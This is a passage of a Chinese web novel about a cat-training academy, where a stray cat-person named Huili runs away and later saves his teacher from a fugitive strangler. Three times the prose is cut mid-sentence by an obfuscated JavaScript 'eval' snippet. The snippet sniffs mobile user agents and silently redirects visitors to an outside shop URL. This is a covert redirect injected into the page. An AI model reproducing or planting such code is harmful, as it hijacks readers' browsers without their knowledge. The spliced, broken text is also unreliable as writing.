江有鱼回到房间躺下时,还觉得自己像是在做梦一样。 此时此刻,她真有点感谢易芊芊给她送来了灰狸,教导灰狸要比她想象的容易,她乐滋滋地想,说不定,灰狸会是个满分学员呢! 当然,人是没有十全十美的,猫也一样。 很快,江有鱼就发现了问题:灰狸并不是学习狂,他只是个犟种。 对于他有兴趣的科目,他能用功到天亮,而他不想做的,你怎么鞭策他也没有用啊!!! 9.情绪价值为零 时间飞快,一眨眼,灰狸来到有鱼猫德学院已经一周多了。 易芊芊特意上门家访,望着瘫在沙发里的灰狸,一脸的不可思议:“哟!野猫还真让你驯服了?” 江有鱼呵呵笑:“哪里哪里,其实还有很多进步空间。” 易芊芊感叹道:“别谦虚了,你训练小猫的手段确实高明。之前灰狸去过的两家学院,都有老师被他挠伤,在你这,他不仅不伤人不逃跑,还认真上课,这是多大的进步啊!” 一边说着,她一边就想去摸摸灰狸的头,灰狸不耐烦地龇牙,江有鱼连忙拦住易芊芊:“灰狸现在还是不让人摸的。” 易芊芊讪讪收回了手:“那确实还有进步空间,你没给他上情绪价值课吗?” 江有鱼含混道:“今天下午就要上了。” 现在的猫德学院一般有六门课程,分别是:健康安全课、生活常识课、体育运动课、文化基础课、猫咪社交课、情绪价值课。 灰狸已经上了其中四门,按照课表,今天下午要上的就是情绪价值课和体育运动课。 情绪价值课,顾名思义,就是学习如何给人类提供情绪价值,是家猫最重要的技能。 这门课会教小猫如何歪头、打滚、无辜地睁大眼睛,夹起嗓子喵喵叫,以及翻出毛肚皮,让主人吸肚肚毛。 当然,以上只是入门课程,高级技能还包括握手、击掌、转圈圈、枪毙装死、忍受主人给原型的自己穿衣服等课程。 总之,这门课就是要让人类觉得猫咪好!让人离不开猫咪! 易芊芊想象了一下灰狸上这门课的样子,顿觉江有鱼的工作十分艰险,她只能祈祷,江有鱼能凭借手段驯服灰狸:“好吧,那你加油,社区也期待着灰狸成为好猫的一天。” 话说到这里,便算探视完毕,易芊芊起身告辞了。 走到门口,她忽然想起什么,又回身叮嘱道:“前两天社区闹了小偷,隔壁猫粮店的店主被盗窃了几千元的现金,现在案子还没破。你夜里记得关好门窗,小心有贼。” 说完这句,易芊芊看看一楼的灰狸,失笑道:“不过,现在你家有这么个前江洋大盗,一般的小毛贼进来,肯定讨不了好。” 江有鱼也觉得有灰狸在,自己安心了许多。她笑着送走易芊芊,仔细地把窗户关严,开始发愁下午的课程。 灰狸在自己感兴趣的科目,可以表现的非常好,譬如文化基础课的成绩,简直称得上是她教导过最优秀的学员。 但猫咪社交课,灰狸就差点意思。不管她怎么引导,灰狸都不愿意变成原形跟同学们一起玩,而且每次跟泰哥见面,都必定要有一番虎争猫斗。 要不是她看得紧,八成灰狸早就跟泰哥打起来了。 猫咪社交课尚且如此,情绪价值课还用说吗? 连摸都不让摸的小猫,却要学习讨好人类的技巧…… 灰狸真的不会当场大闹天宫吗? 思来想去,江有鱼决定还是先打个预防针,她把这门课的内容一五一十的告诉了灰狸。 然后,江有鱼第一次在灰狸脸上看到了震惊、迷茫、绝望、不甘、悔不当初…… 这种表情,江有鱼只在电视上看到过。那些女主角被逼良为娼时,脸上的表情就跟灰狸一模一样。 灰狸转头就想开溜,江有鱼早有预料,眼明手快一把抓住他的衣角,成功把他拽了回来。 灰狸想要挣脱她轻而易举,却不敢真的用力,生怕撕坏了新衣裳,只能低吼道:“放开!” 江有鱼哪能放手,半哄半劝:“情绪价值课的成绩在猫德证的占比权重最高,足足占到50%呢!你还想不想毕业做好猫了?” 灰狸不管不顾:“我本来就不是好猫!谁要学这种恶心的东西!” “你好好上课,我晚上给你炖鸡腿~” “我不稀罕!我死也不会讨好人类的!” 好话说了三千六,灰狸始终不配合。江有鱼急了:“如果你不上情绪价值课,那我也会取消你的课后写字补习!” 她心里可是清楚的很,灰狸最想要学写字了。她有时候晚上起夜,经常会看见灰狸还在自己的房间练写字呢! 果然,灰狸哑巴了。 江有鱼趁势而上,拉着他的衣角往教室走:“况且,这只是一门技能,如果你实在不接受自己做出这样的行为,不做就行了。你就当是为了通过猫德考试,敷衍地学一下好了。” 灰狸轻哼一声,站着没动,什么猫德考试?他才不要去考。 他留在这里上学,只是因为江有鱼教授了一些有用的知识,等他把这些知识都学到手,他立刻就会逃走,谁要去考猫德证? 江有鱼继续劝:“其实情绪价值课一点都不可怕,是很有用的!研究证明,会撒娇的小猫,普遍过的比较好呢!” 灰狸默默回想黎明会里的兄弟,发现江有鱼说的没错。 脾气温和会撒娇的猫更容易得到人类的投喂,养出肥膘,从而度过寒冷的冬天。 所以,尊严和饭碗,到底哪个比较重要? 灰狸陷入了哲学的迷思。 当然,最终的结果显而易见,作为流浪猫,不懂得饭碗重要性的,也活不到那么大了。 灰狸自己身强体壮,能捉老鼠、能摸鱼、能上树捕鸟,不需要讨好人类也能活下去。 但绝大多数流浪猫并没有这份手艺,如果能学到“提供情绪价值”技能,它们就有出路了。 作为肩负几百弟兄生计的猫老大,灰狸不能只顾自己,一切有利于族群生存的技能,他都要学习! 他悲壮地把头一昂,以忍受酷刑的心态,随着江有鱼进去上课了。 考虑到灰狸对这门课很抵触,江有鱼今天不打算教授新东西,而是带着大家复习了入门技能:歪头、睁大眼、喵喵叫。 这些课程对其他学员来说易如反掌,泰哥尤其是这门课的翘楚。他还无师自通,学会了在喵喵叫的时候加上个鼻音,哼哼唧唧地把江有鱼迷得找不着北。 看着小猫咪对着自己献媚,江有鱼觉得,人生真是太幸福了。 她忍不住把泰哥抱起来,亲了亲他的小脑袋:“泰哥,做得好!你就这样做下去,总有一天你会把整个地球的人类都萌死的。” 灰狸在旁边看着泰哥歪在江有鱼臂弯里,一副得意又娇羞的表情,而江有鱼好像还很吃这套的样子,心里极不舒服。 他忍不住龇牙,用猫语骂了一句:“不要脸的小浪货!” 泰哥一下僵住了。 不过他很快就反应过来,横着眼睛望向灰狸,也用猫语嘲笑道:“你懂个屁,迷人也是一门技术,小浪货也比你这没人要的丑货好,你想当小浪货,还当不上呢!” 江有鱼听不懂他们咪咪喵喵在说什么,所有学员都已经展示了一遍技能,想来灰狸旁观也学到了一些,她对着灰狸伸出手来:“灰狸,你也来试一试吧?” 灰狸下意识地摇摇头。泰哥嗤笑一声:“谢谢你这么体谅大家,要是看你个丑货卖萌,我还不如瞎了猫眼!” 灰狸心头火起,他最讨厌别猫看不起他,当下不假思索,冲上了台。 江有鱼看他这么配合,惊喜极了,满眼期待地看着他。 灰狸这才发现坏了,情绪价值课一般是用猫型来表现的,可他的原型…… 灰狸垂下了头,尾巴不安地一甩一甩。 江有鱼知道,他不喜欢变成原型,愿意上来已经是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864857|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进步了,她不想伤害灰狸的积极性,连忙温言道:“这门课主要是掌握技巧,你用人类的样子做这些动作也可以的。” 灰狸这才松了口气,他努力回想其他猫的样子,往左歪了歪头。 哈的一声,泰哥不客气地笑了出来,其他学员虽然没笑,但是都往后一缩,这是猫咪看到诡异之物的本能反应。 不就是歪一下头吗?自己做的有这么差吗? 灰狸怀疑人生了。 他不知道,歪头看似简单,但也需要整体的体态配合,才能达到歪头杀的效果。 首先小猫咪需要端正地坐好,最好用尾巴缠住前爪,以造成身躯端庄优雅,脑袋微微一歪的反差效果,这样最可爱。 至于灰狸这个……他看上去浑身僵硬,与其说是歪头杀,更像是把脖子扭了。 不能笑不能笑不能笑! 江有鱼费了好大的力气,才把溢到嘴角的笑意憋回去,现在是灰狸的第一次尝试,不能打击灰狸的积极性:“做得很好灰狸,接下来,请把你的眼睛睁大~” 灰狸努力瞪大了独眼。 小猫的大眼睛之所以可爱,是因为他们的瞳孔圆滚滚,而不是光瞪大眼睛就行的。 灰狸因为紧张,竖瞳几乎变成一条线,随着用力的瞪视,眼睛里血丝都出来了,看起来一片血红。 学员们都敬畏地往后退了一步:灰狸看起来好可怕! 江有鱼也有点撑不住了,她弱弱发出最后一个指令:“呃……你叫一声试试?” 灰狸有生以来就没试过夹嗓子,这可是门高级技巧,他只能凭借想象喵了一声。 这一嗓子可说得上鬼哭狼嚎,江有鱼的表情管理失灵了,她眉毛一抽,只觉浑身起了鸡皮疙瘩。 这表情虽然只有一瞬,但灰狸密切关注着她,怎能看不出来? 回想起江有鱼刚刚抱着泰哥时,那陶醉的表情,再看她对自己这嫌弃的样子,灰狸只觉心里不是滋味,耳朵也趴下了。 人类怎么这么肤浅,就喜欢这种装模作样的小浪货? 他正不高兴,偏偏泰哥还在下面不知死活地蹦跶:“丑货!就你这样子,一辈子都不会有人要你的!” 灰狸一肚子气,全都撒在泰哥身上。他向泰哥扑去,一把就抓住了泰哥的尾巴。 江有鱼惊呼一声,追了下去:“灰狸!不可以打架!” 灰狸见她来拦,愤愤放开了手。可是泰哥的尾巴毛已经被揪下来一坨,气的泰哥眼泪在眼圈打转。 漂亮的毛皮是泰哥最引以为傲的东西,他每天都要花上两三个小时精心打理,又舔又梳,为的就是在人前干净漂亮,以博得万千宠爱。 平常他掉一根毛都会紧张得不得了,可现在,这个天杀的灰狸居然把他变成了一只秃尾巴猫!他毁容了! 其实情况哪有他说的那样严重,灰狸下手有轻重,他的尾巴并没有秃,只是掉了些浮毛而已。江有鱼检查之后,也没当回事,只是批评了灰狸两句,便就此作罢。 泰哥更不高兴了,上次他骂了灰狸两句,不仅要给灰狸道歉,还得赔上一个星期的零食。 这次是灰狸先骂了他,凭什么就这么算了? 江有鱼偏心灰狸!怎么会这样,他泰哥难道不是最有魅力、最可爱的小猫了吗? 泰哥阴恻恻地磨牙,他一定要这该死的丑货野猫付出代价! 灰狸同样很不高兴。 他已经纡尊降贵,学习主动讨好人类的技巧了,江有鱼反而一副见了鬼的表情,还要被泰哥取笑,这让高傲的灰狸如何受得了? 让情绪价值课见鬼去吧!猫族是高傲的种族,不需要向谁献媚也能活得好,从今以后,他再上这门课就是狗崽子! 10.灰狸逃跑了 两猫就这么愤愤不平地上完了情绪价值课,江有鱼提心吊胆,生怕他们再打起来,好在直到下课,也没有出现什么岔子。 接下来要上的是体育运动课,这门课会教导小猫进行合理的体育锻炼,以维持健康的体态,以免过胖引起疾病。 这门课往往是户外课程,大家可以跟自己喜欢的小伙伴一起玩,只要把两只猫隔开,想必他们就不会打架了。 她倒不担心灰狸吃亏,怕的是灰狸把泰哥打出个好歹,她还要赔钱。 想到这里,江有鱼决定一直盯着泰哥,避免他再挑衅。 她还特意找到周德福和小喇叭,吩咐他们一会儿要引开灰狸的注意力,不要让他跟泰哥碰面。 小喇叭大拍胸脯:“放心吧江老师,保证完成任务!” 猫德学院有个不小的院子,里面有不少供小猫锻炼的器材,有猫咪跑步滚轮、猫滑梯、猫蹦床、磁力逗猫棒、猫咪冒险屋、甚至还有个猫泳池。 因为是户外运动,少不了在地上摸爬滚打的环节,大家都换上了运动服。灰狸没有运动服,就暂时拿那套看守所的衣服代替。 小喇叭是只非常有责任心的猫,既然答应了江有鱼引开灰狸的注意力,就一定会做到。 泰哥在院子东边,他跟周德福便热情地绕着灰狸的腿,把灰狸往院子西边引:“大哥,你的身手这么好,体育运动一定很在行吧?要不要一起玩这个冒险屋?” 冒险屋跟儿童的淘气堡类似,由攀爬网、空中荡绳、独木桥等器材组成,已经是这些家猫能接触到最刺激的东西了。 但对于常年在楼宇间跳来跳去的灰狸来说,这种难度根本不够看。 他的目光轻蔑地扫过院子里这些器材:“这些东西有什么玩头,只有幼猫才觉得有意思。要玩,就挑战些高难度!” 说罢,他指了指院子里那颗大栗子树:“我们一起来爬树,怎么样,敢不敢?” 周德福的嘴巴都长大了:“爬、爬树?” 这颗栗子树可足有二十米高呀!周德福看了看自己二十厘米的小短腿,他连上两米的攀爬网都费劲,这树能爬的上去吗? “怎么?害怕了?”灰狸摩拳擦掌:“看着,大哥给你做个示范!” 说罢,他也不等其他猫反应,就挽起袖子,蹭蹭往树上爬。 灰狸早就对院子里这颗大栗树蠢蠢欲动了,猫咪的天性就是爬高,能占领最高位置的猫咪,就是猫中老大。 等他爬上这颗大栗树,就是实至名归的大哥了!到时候就能一览众猫小,看那个泰哥还敢不敢跟他炸毛! 灰狸就这么陶醉地想着,越爬越来劲。 他的爬树技术很好,身姿灵动,即使没有变成原型,用利爪辅助,也能极为轻盈地在枝桠间窜来窜去,毫不费力就爬了十来米。 其他的学员都被他的身姿迷住了。 家猫们虽然见识不多,但是基因中还是留存着古老的本能。能爬最高者就是老大、英雄,这是流淌在血脉里的崇拜,没有小猫能逃过。 艾达、王子、白糖等猫纷纷跑了过来,一起给灰狸喊加油了。江有鱼本来看着泰哥,也忍不住被灰狸的动静吸引了注意力,多看了两眼。 灰狸得到大家鼓劲,爬得越来越快,眼看就要到达树梢。 所有人的目光都被灰狸吸引了,自然也就没人发现,泰哥嘴角勾起一个诡异的笑容。 哼哼,就是现在! 泰哥一掉头,轻盈无声地往旁边跑去,他速度很快,脚步也轻,丝毫没被察觉。 他的目标,是灰狸刚刚换下来的新衣服。 泰哥观察灰狸很久了,他早就看出灰狸极其宝贝那身衣服,连坐下时都要抚平褶皱,绝不让衣服碰到一点脏污。 这也难怪,灰狸这种没人要的丑货,肯定只有这一身能穿出门的衣裳,要是这身衣服坏了,灰狸八成连替换的都没有,只有那身脏兮兮的看守所制服能穿! 灰狸本来就丑,要是再穿一身烂衣服,必定是丑上加丑,看他还怎么好意思出门! 泰哥露出一丝歹毒的笑意,报仇雪恨的时刻来到了! 他对着那套衣服挥下了爪子。 呲啦—— 这时候,灰狸已经爬上树顶,听着众猫咪崇拜的喵喵声,极为骄傲地昂起了头。 他志得意满地在人群里寻找泰哥,猜想泰哥此时的脸色一定完全是青的,想到这里,他尾巴根就痒痒,尾巴恨不能翘上天去。 他左看右看,却没有在猫群中发现泰哥,正相反,他耳朵动了动,感觉自己听到了十分不妙的声音。 灰狸的心一紧。他抬头向声音来处望去,发现泰哥正坐在那里,嘴里叼着一块奶油色的碎布,脚爪下面则是一坨米色毛线团,已经看不出原本的样子。 两猫的目光相对,泰哥挑衅地笑了起来,脚下用力,将那米色毛线团蹂躏得更加可怜,几乎变成一块流苏地毯。 那是他的衣服! 灰狸心中腾地起了一团火。 此前泰哥虽然讨厌,但灰狸并没打算跟他认真,可现在不一样了,泰哥居然敢撕坏他的衣服!那是他在世界上唯一拥有的、宝贵的东西! 泰哥欺猫太甚! 江有鱼只听见一声愤怒的咆哮,那声音饱含着愤恨,吓得她浑身发抖。 紧接着,她看见了更让她血液发凉的一幕,灰狸居然直接从树上跳了下来! 乖乖!这可是二十米啊!就算灰狸是小猫,也很难承受这种高度啊! 灰狸虽然愤怒,但也不至于自己找死,他有非常丰富的高空坠落经验,二十米还在他的掌控范围。 他在空中每隔三米便抓住树枝缓冲去势,这样一点点缓降下来,毫发无损地落了地。 随后,他如一道闪电般往屋内冲去,快的只剩下一道残影。 几乎在他刚刚冲进去的瞬间,屋里就传来了愤怒地嗷嗷叫声,江有鱼知道不好了,连忙也跟着冲进屋子。 一踏进屋门,江有鱼一眼便看见,屋中猫毛乱飞,碎布满地,那些碎布极为眼熟,正是自己给灰狸买的衣服,还有一小块布料就夹在泰哥的脚爪上。 而灰狸正跟泰哥打成一团,两猫速度奇快无比,拳来爪往令人眼花缭乱。 泰哥是有备而来,加之他变成了原型,体型更小更灵活,灰狸一时半会抓不住他,反而被泰哥挠了好几道口子,手臂上一条条全是血痕。 江有鱼看见灰狸吃亏,更是心疼,也不顾贸然加入战场可能会被误伤,立刻冲上去挡在两猫之间:“别打了!别打了!” 灰狸已经一拳打出去,忽然看见江有鱼来拉架,生怕伤到她,这一拳硬生生收了回去。 而泰哥可不管这么多,见江有鱼伸手去推他,他干脆以江有鱼的手臂为踏板二次起跳,打算去挠灰狸的脸。 江有鱼只觉得手臂一沉,她感到泰哥的后爪重重踩在她右手腕上,紧接着,她听见了一个短促地“滴”声。 “啊啊啊啊啊啊啊啊!!!!!!” 滋滋电弧爆响从江有鱼身后传来,一块响起来的还有灰狸凄厉的咆哮,那声音太痛苦、太震撼,别说江有鱼,就连还在战斗形态的泰哥都吓得打了个哆嗦,从空中直坠下来。 江有鱼惊得回过头去,灰狸已经倒在地上,痛苦地翻滚着,全身都因电流经过的剧痛而僵硬,脸上也挂满了因痛苦而流下的生理性眼泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872159|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的左脚腕上,监管脚环闪着警告的红光,一片烧灼的焦痕从他脚腕蔓延开来。 “灰狸!你怎么样!”江有鱼吓呆了,知道这是方才泰哥误触了惩戒按钮,“哪里痛?还能不能起得来?” 她伸手想要去扶灰狸起来,却被灰狸狠狠打开。盛怒下的灰狸没有留手,江有鱼的衣袖被扯开,手臂上顷刻多了三道血痕 “你为了他,电击我?”灰狸躺在地上,痛得眉毛拧紧,肌肉抽搐,血红的独眼死死盯着江有鱼。 江有鱼慌了,连忙解释道:“不是!我不是故意的,这都是误会……” 她的话还没说完,便被灰狸的咆哮打断:“骗子!你们人类都是骗子!” 什么永远不会体罚他、会好好照顾他、会永远相信他……骗子!都是骗子! 人类就是这么狡诈,话语说的比蜜甜,却只会把猫骗进屋杀…… 他为什么会这么傻? 他怎么会相信,江有鱼跟其他人类不一样,江有鱼是特别的? 像他这样一再上当的傻猫,沦落到今天这个下场也是应该! 猫学员们就在旁围观,担心地看着他,灰狸实在不愿意自己这狼狈的样子暴露在同学面前。他用尽全身力气挣扎起来,不顾脚腕的灼痛,向楼上自己的房间跑去。 江有鱼连忙追过去,但灰狸狠狠一摔门,差点把江有鱼鼻子撞扁,随之屋里又传来锁门声,显然是不想让她跟进来。 江有鱼叹口气,知道他这次是气狠了,一时半会儿肯定转不过弯来。 罢了,晚上买些好料,再诚心诚意地向灰狸解释一下吧,灰狸不是不讲道理的小猫,得知真相后一定会原谅她的。 现在,她需要去处理另一件事情,那就是泰哥。 江有鱼冷着脸下了楼,望着毛发凌乱的泰哥,心中火气燃烧的越来越旺。 泰哥从没见过江有鱼这样的表情,连忙摆出了一个最可怜可爱的姿势,还配上眼泪跟喵喵声。 往日江有鱼看见这个,会把他抱起来大呼可爱,但现在江有鱼看见这种举动,心中只觉得腻烦。 她一把拎起泰哥,呵斥道:“老实点!装成这幅样子,你就是受害猫了吗?你当我眼睛瞎了?” 这番话声色俱厉,泰哥垂着头不吭声了,江有鱼冷森森地盯着他:“明天,叫你的主人来一趟,我要好好跟你的主人谈一谈!” 一番折腾,总算把学员们送走,江有鱼看看时间,马不停蹄往商店街赶去。 她花了大价钱,买了两斤牛肉,一身新衣服,总计花费五百元,几乎是她存款的十分之一。 但江有鱼仍然觉得不够,离开商店街的时候,她又在甜品店买了一个草莓蛋糕。 希望这块甜蜜的蛋糕,能够让灰狸忘记今日的伤痛,弥合他们之间的裂缝。 回到家已经是天色黯淡,江有鱼把牛肉用高压锅炖上,很快,香喷喷的红烧牛肉气息就飘了出来。 她上楼,敲了敲门:“灰狸?吃饭了~” 屋里没人应答,江有鱼锲而不舍地敲,却始终不见灰狸来开门。她按捺不住,寻来钥匙打开了门。 一推门,屋里的景象让她倒抽一口冷气。 天窗没关,一块皎白月光从天窗漏下来,照亮整个房间。 昔日整洁的房间现在恍如台风过境,桌椅翻倒、镜子破碎,灯泡炸裂、猫爬架从中间折成两截,羽绒床垫被尖锐的爪子撕成碎布,鹅毛像是一场凄冷的大雪,纷纷扬扬落了一地。 而这个房间里,显然没有灰狸的踪迹。 江有鱼的心一沉,她连忙查看手环,代表着灰狸的小红点已经离她很远了。 灰狸逃跑了。 11.杀人逃犯 “灰狸!灰狸!出来吧!” 已经是午夜十一点了,江有鱼却依然徘徊在大街上,大喊着灰狸的名字,急的眼泪在眼圈打转。 从七点到十一点,江有鱼已经找了灰狸四个小时。 她在路上转了一圈又一圈,每个草丛、每棵树都认真瞧过一遍,希望能发现灰狸的踪迹,哪怕是一个小爪印也好。 她揣着那块小蛋糕,希望万能的食物能再次发挥神奇的魔力,把生了气的小猫钓出来。 可是灰狸始终没露面。 江有鱼再忍不住,眼泪掉了下来,自责与后悔吞噬着她的心。 都怪她!明知道灰狸心情不好,还留他一个猫在家,她怎么能这么糊涂? 灰狸丢了,而且是自己跑丢的,想必不会再回来了,这可怎么办呢? 先不说社区津贴、房租减免的事情,灰狸一个猫在外面,岂不是又要过挨饿受冻的日子了? 现在虽然是春天,可是夜间气温还是很低,江有鱼自己的鼻头都冻得红红的,想到灰狸出门时只穿了最单薄的旧衣服,江有鱼的心就更焦虑。 监管手环虽然能显示灰狸的大概位置,但灰狸的位置一直在变动,一会儿在东,一会儿在西,江有鱼不得不跟着来回跑。 每当她快要来到灰狸所在位置时,灰狸就会高速移动起来,江有鱼这口气还没喘匀,就得接着去追。 她急着出来找灰狸,一口饭都没吃,饿着肚子在街上走了近二十公里,这会儿像是被遛疲了的狗一样,呼哧呼哧喘着白气。 江有鱼实在跑不动了,她找了个长凳坐下来,把脸埋在手心。 路灯的青光洒下来,把她蜷缩的影子投在地上,一小团的人,身后拖着无比浩大的黑暗,瞧着分外可怜。 灰狸就站在隔壁楼的屋顶,冷冷地打量她。 这个人类骗子,又准备了什么引他上钩? 是做作的呼唤、虚伪的眼泪,还是甜腻的蛋糕? 她当他是什么?吃两堑都不长一智的笨蛋? 灰狸望着江有鱼,眸色一片冰冷。 他早该拧断她的手腕,把那个监管手环拿走,可恨他被她的花言巧语迷住了,居然给了她机会伤害自己。 这是个错误,而今夜,就是纠正错误的机会。 他已经溜了江有鱼四个小时,按照他对江有鱼体能的了解,她现在已经累得不行了,这种状态下入睡的人,就算是屋子里着火也醒不过来。 复仇的时刻,马上就要到了。 江有鱼在长凳上坐了好半天,奔跑到麻木的脚趾终于找回了一些知觉。 她的体力已经耗尽,今天无论如何是追不动了,只好拖着疲惫的身体往家里走。 走回有鱼猫德学院已经是十二点多了,屋里黑漆漆的,一点生气都没有。 江有鱼拎着蛋糕,掏出钥匙去开门,却惊讶的发现,门根本没锁,夜风一吹,直接吹动了门缝。 自己出来的时候没锁门吗? 也有可能吧,当时她发现灰狸逃跑了,慌得穿着拖鞋就冲出门来,估计锁门也忘了。 江有鱼一想起灰狸,心里又难受起来。 屋里有他的时候,总是温馨明亮的,现在缺了他,这就好像一个大坟墓一样,冷清清的令人浑身打颤。 明明灰狸来了才一个礼拜不是吗?她的猫德学院住过很多学员猫,毕业后也都要送别,可没有一只学员猫给过她这种感觉。 江有鱼想,也许是因为,灰狸没有主人。 其他学员离开,她很放心,猫咪会在主人的监管下,平安快乐地渡过一生。 可灰狸,什么都没有。 某种意义上来说,灰狸只有她。 即使这不是真正的主宠关系,只是临时监管,可灰狸是只属于她一个人的猫。 一想到这里,江有鱼就心中酸楚。她暗下决心,一定要把灰狸找回来。 属于她的小猫,不能再过上风餐露宿讨生活的日子! 她拖着疲惫的身躯进了门,想也没想,啪的摁亮了灯。 随着灯光亮起,前台传来一声轻微的响动,一个黑衣鸭舌帽男子僵在那里,显然是没想过会有人来。 江有鱼吃惊地看着屋里的陌生男人:“你是谁?你怎么在我家?” 她问出口就后悔了,深更半夜,门又没锁,屋里忽然出现的陌生男人,蹲在前台……这怎么可能是好人? 一定是易芊芊今天说过的小偷! 她慌忙后退两步,向大门跑去,扬声大喊:“快来人啊!有贼啊!” 她今天的体力早已告罄,还没跑两步,便觉得身后传来重重的脚步声,几个呼吸间就已经近在耳边,江有鱼已经能闻到小偷身上的烟味。 她慌了,抡起手里的东西去砸他,可她手里只有个蛋糕盒子,哪能造成伤害? 小偷见她反抗,下手更重。她只觉喉咙一紧,小偷扯住她的领口,把她摔在地上,然后又骑在她肚子上,一手卡住她喉咙,另一只手啪啪扇了她两个耳光,扇得江有鱼眼冒金星。 他力气好大,江有鱼被他卡住脖子,呼唤声断在喉咙口,再出不了一声。 她恐惧地望着小偷,这是个四十来岁的中年男子,眼□□黄,眼珠子像个玻璃球,冷漠而不动感情,即使是被抓了现行也看不出紧张,看她不像是看人,倒像是在看一只待宰的鸡。 “你看到我的脸了。” 江有鱼出不了声音,只得疯狂摇头闭眼,恐惧的泪水流了一脸。 她希望这位煞神能看懂她的意思:我什么都没看见,也绝不会去举报你的,求求你放我一马吧! 她不想死,她还年轻,她还有好多梦想没有实现,爸爸妈妈还在家里等她…… 可惜,小偷刚刚那句话不是疑问句,而是陈述句。 对于江有鱼的命运,他早已有了安排。 他的另一只手划过江有鱼的脸,怜惜地擦去她的泪水:“真年轻,死了可惜了。” 随后,他把双手合拢在江有鱼的脖子上,慢慢收紧。 空气断绝了,江有鱼瞪大眼睛,开始徒劳地挣扎,她的指甲擦过地板,发出嘎吱嘎吱的声音,如死亡的伴奏,令人牙酸。 天啊,谁来救救她…… 小偷悠闲地盯着这个垂死的女人,她的眼珠已经一点点凸了出来,只要再过一分钟,一切就都结束了。 他已经把屋子转了一遍,这屋里没有其他人生活的痕迹,自然也不会有人打断他的。 一阵劲风猛地从背后袭来,小偷忽觉不对,可已经来不及了,他后脑一痛,结结实实被人砸了一下。 他忍住痛,回头看去,这才发现自己背后不知什么时候站了个高大独眼青年,满面杀气,手持一个小板凳,看来就是这个人袭击了自己。 这青年是谁?怎能无声无息出现在他背后的?黑吃黑? 但他来不及再想更多了,一股热流从他后脑缓缓流下,淌过脖子。 灰狸刚刚那一击下了死手,尖锐的板凳角直接将他头骨打凸进去一块。他就这样疑惑地倒了下去,压在江有鱼身上,鲜血流了江有鱼一身。 江有鱼脖子上的禁锢一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891258|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松,空气争先恐后地涌入她的肺部,她如呛水一般呛咳起来,满面通红,气喘吁吁。 灰狸将小偷踢到一边,沉默地把她扶起来。 江有鱼劫后余生,现在什么也顾不上了,也不管灰狸是不是还在生她的气,亦或是一点也不喜欢被人碰,只是一把抱住灰狸,哇哇大哭。 灰狸的身子僵住了。 半晌,他轻轻拍了拍她的后背,低声道:“没事,没事了。” 江有鱼受到惊吓太甚,什么也听不见了,只是死死抱住自己身边唯一的活物,一个肌肤温暖、呼吸轻柔、不会伤害她的人,来汲取安全感。 看她这三魂没了七魄的样子,肯定是指望不上了。 灰狸无奈地摇摇头,把生活常识课上学到的“遇到紧急情况要打110”默念了一遍,从江有鱼兜里摸出她的手机,拨打了110。 呜哇呜哇的警车很快就到了,红蓝闪光打破夜的沉寂。几个警察从里面跳下来,其中一个英姿飒爽的短发女警尤其心急,一进来就叫道:“江老师,你没事吧?” 江有鱼惊魂未定地缩在灰狸怀里,眼珠子都不会转了,女警心急,想上来摇她,却被灰狸挥手打开。 灰狸一动,江有鱼便一缩,灰狸连忙轻拍她的手:“没事,是警察来了。” 江有鱼这才抬头,认出眼前的女警正是小喇叭的主人冉晨星,见到熟人,她的泪水又止不住了,紧紧抓住冉晨星,呜咽道:“小偷要杀我……” 冉晨星看她一身是血,急道:“你受伤了吗?” 江有鱼只是哭,半天说不出一句话,灰狸代她回答道:“她被那个人掐了脖子,但血不是她的,是小偷的。” 这时,其他几个警察也勘探完了现场,其中一个警察将那小偷翻过来,发现已经深度昏迷,急忙呼叫救护车。 另一个警察开始核对小偷信息,随着警务系统检索结果出来,他倒吸一口冷气。 这不是小偷,这居然是个通缉犯! 一年前,这个通缉犯因感情纠纷杀死了自己的妻子,随后便四处逃亡,因他一向谨慎,不乘坐交通工具,花销只用现金,至今未能抓获归案。 最近他盗窃,应该是身上现金已经花完了,这才想在商户那里搞点钱花。 江有鱼也是倒霉,撞上这么一个杀人逃犯,好在她最后捡了条命,也算是不幸中的大幸。 不过,听接线员说,多亏她忠心的猫咪打倒了坏人,还报了警,否则今晚上,真要出杀人大案了。 绝世好猫啊! 警察们不禁用看英雄的目光打量灰狸,还有人想跟江有鱼打听一下这猫的品种,自己也可以养一只,有备无患。 事故现场看完了,证据提取了,救护车把通缉犯转运走了,江有鱼也在冉晨星的安抚下,慢慢平静了下来。 冉晨星看她情绪恢复了,温言道:“现在你得跟我们回去做个笔录,要不然没法立案。” 江有鱼点头,冉晨星便扶她起来,打算带她上警车。 